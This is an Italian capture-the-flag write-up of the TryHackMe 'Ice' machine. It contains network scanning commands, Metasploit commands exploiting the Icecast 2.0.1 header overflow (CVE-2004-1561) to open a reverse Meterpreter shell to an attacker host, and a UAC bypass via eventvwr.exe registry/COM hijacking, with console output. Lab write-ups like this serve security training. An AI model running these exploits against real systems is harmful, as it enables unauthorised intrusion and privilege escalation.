
Compromissione completa della macchina Ice di TryHackMe — RCE su Icecast 2.0.1 (CVE-2004-1561) tramite buffer overflow, seguita da escalation dei privilegi di Windows attraverso bypass UAC / dirottamento COM. Include metodologia dettagliata e remediation.
Piattaforma: TryHackMe Sistema operativo target: Windows 7 / Windows Server 2008 R2 Difficoltà: Facile Categoria: Buffer Overflow (RCE), Privilege Escalation Locale
Questo rapporto documenta la compromissione completa della macchina Ice su TryHackMe, dalla ricognizione iniziale all'escalation di privilegi a livello SYSTEM. Il target espone un server di streaming media Icecast 2.0.1 obsoleto, vulnerabile a un buffer overflow remoto (CVE-2004-1561) che consente l'esecuzione arbitraria di codice tramite header HTTP modificati. L'accesso iniziale è stato ottenuto come utente a bassi privilegi tramite una reverse shell Meterpreter. L'escalation di privilegi a NT AUTHORITY\SYSTEM è stata quindi raggiunta sfruttando una vulnerabilità di hijack di oggetti COM di Windows (bypassuac_eventvwr) che sfrutta binari ad auto-elevazione e reindirizzamento di chiavi di registro sotto HKCU.
| Fase | Tecnica | Risultato |
|---|---|---|
| Ricognizione | arp-scan, nmap | Host identificato + 7 porte aperte |
| Accesso iniziale | Buffer overflow header HTTP Icecast (CVE-2004-1561) | Sessione Meterpreter come utente locale |
| Escalation di privilegi | bypassuac_eventvwr (hijack COM/registro) | Shell SYSTEM |
È stata utilizzata una scansione ARP per identificare l'indirizzo IP del target sulla rete locale.
arp-scan -l

Target identificato a 192.168.37.138.
È stata eseguita una scansione SYN completa con rilevamento dei servizi/versioni contro il target:
nmap -sS -sV 192.168.37.138
Risultati:
| Porta | Servizio | Versione |
|---|---|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (gruppo di lavoro: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Server di streaming media Icecast |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
L'host è stato identificato come DARK-PC, una macchina Windows. La porta 8000 con in esecuzione Icecast è emersa come la superficie di attacco più promettente — non è un servizio Windows standard ed è noto per avere CVE storiche.
Una ricerca di vulnerabilità note di Icecast ha portato alla luce CVE-2004-1561:
Il buffer overflow in Icecast 2.0.1 e versioni precedenti consente a un attaccante remoto di eseguire codice arbitrario tramite una richiesta HTTP con un numero elevato di intestazioni.
È stato confermato un modulo Metasploit corrispondente:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 non riesce a controllare correttamente il numero di intestazioni HTTP che elabora. Inviando più intestazioni di quante il buffer del server sia dimensionato per gestire, i dati in eccesso traboccano nella memoria adiacente, sovrascrivendo dati al di fuori del buffer riservato per il parsing delle intestazioni.
Nello specifico, il trabocco corrompe l'indirizzo di ritorno salvato (EIP) sullo stack — l'indirizzo a cui la CPU torna una volta che la funzione che gestisce la richiesta ritorna. Controllando questo indirizzo, un attaccante può reindirizzare l'esecuzione a uno shellcode fornito dall'attaccante invece del punto di ritorno legittimo, risultando in esecuzione arbitraria di codice nel contesto del processo Icecast.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
È stata stabilita una sessione Meterpreter come utente a bassi privilegi.
Con una sessione attiva, è stato utilizzato il suggeritore integrato di Metasploit per identificare percorsi di escalation di privilegi locali praticabili per il livello di patch del target:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Diversi moduli sono stati segnalati come probabilmente praticabili, tra cui bypassuac_eventvwr, che prende di mira host Windows 7 / Server 2008 R2 non patchati.
Questo percorso di escalation di privilegi abusa dell'architettura COM (Component Object Model) di Windows, che consente l'interoperabilità di componenti scritti in diversi linguaggi. Gli oggetti COM si basano comunemente su DLL condivise, e il sistema risolve quale DLL caricare per un dato oggetto COM tramite percorsi di registro — inclusi percorsi memorizzati nell'hive HKCU dell'utente corrente.
eventvwr.exe è un binario Windows ad auto-elevazione (attiva silenziosamente un prompt di elevazione UAC senza mostrare il prompt stesso, grazie alle sue impostazioni di manifest, sulle configurazioni UAC predefinite). Quando viene eseguito, interroga HKCU per risolvere un oggetto COM e caricare la sua DLL associata.
L'exploit dirotta questa ricerca: scrive una chiave di registro malevola nell'hive HKCU dell'utente corrente, puntando la risoluzione COM a un payload controllato dall'attaccante invece della DLL di sistema legittima. Poiché eventvwr.exe si auto-eleva, il payload che attiva — in questo caso una shell dei comandi — viene eseguito con il livello di integrità a cui eventvwr.exe si eleva, innalzando la sessione da un utente standard a un contesto con privilegi più elevati, senza mai mostrare un prompt UAC visibile.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
È stata aperta una seconda sessione Meterpreter con una shell elevata, caduta direttamente in C:\Windows\system32, confermando l'escalation di privilegi.
| # | Riscontro | Gravità | CVE / Riferimento |
|---|---|---|---|
| 1 | Icecast 2.0.1 buffer overflow header HTTP che porta a esecuzione di codice remoto | Critica | CVE-2004-1561 |
| 2 | Bypass UAC tramite hijack COM/registro (auto-elevazione di eventvwr.exe) | Alta | Debolezza nota di progettazione UAC di Windows 7/Server 2008 R2 |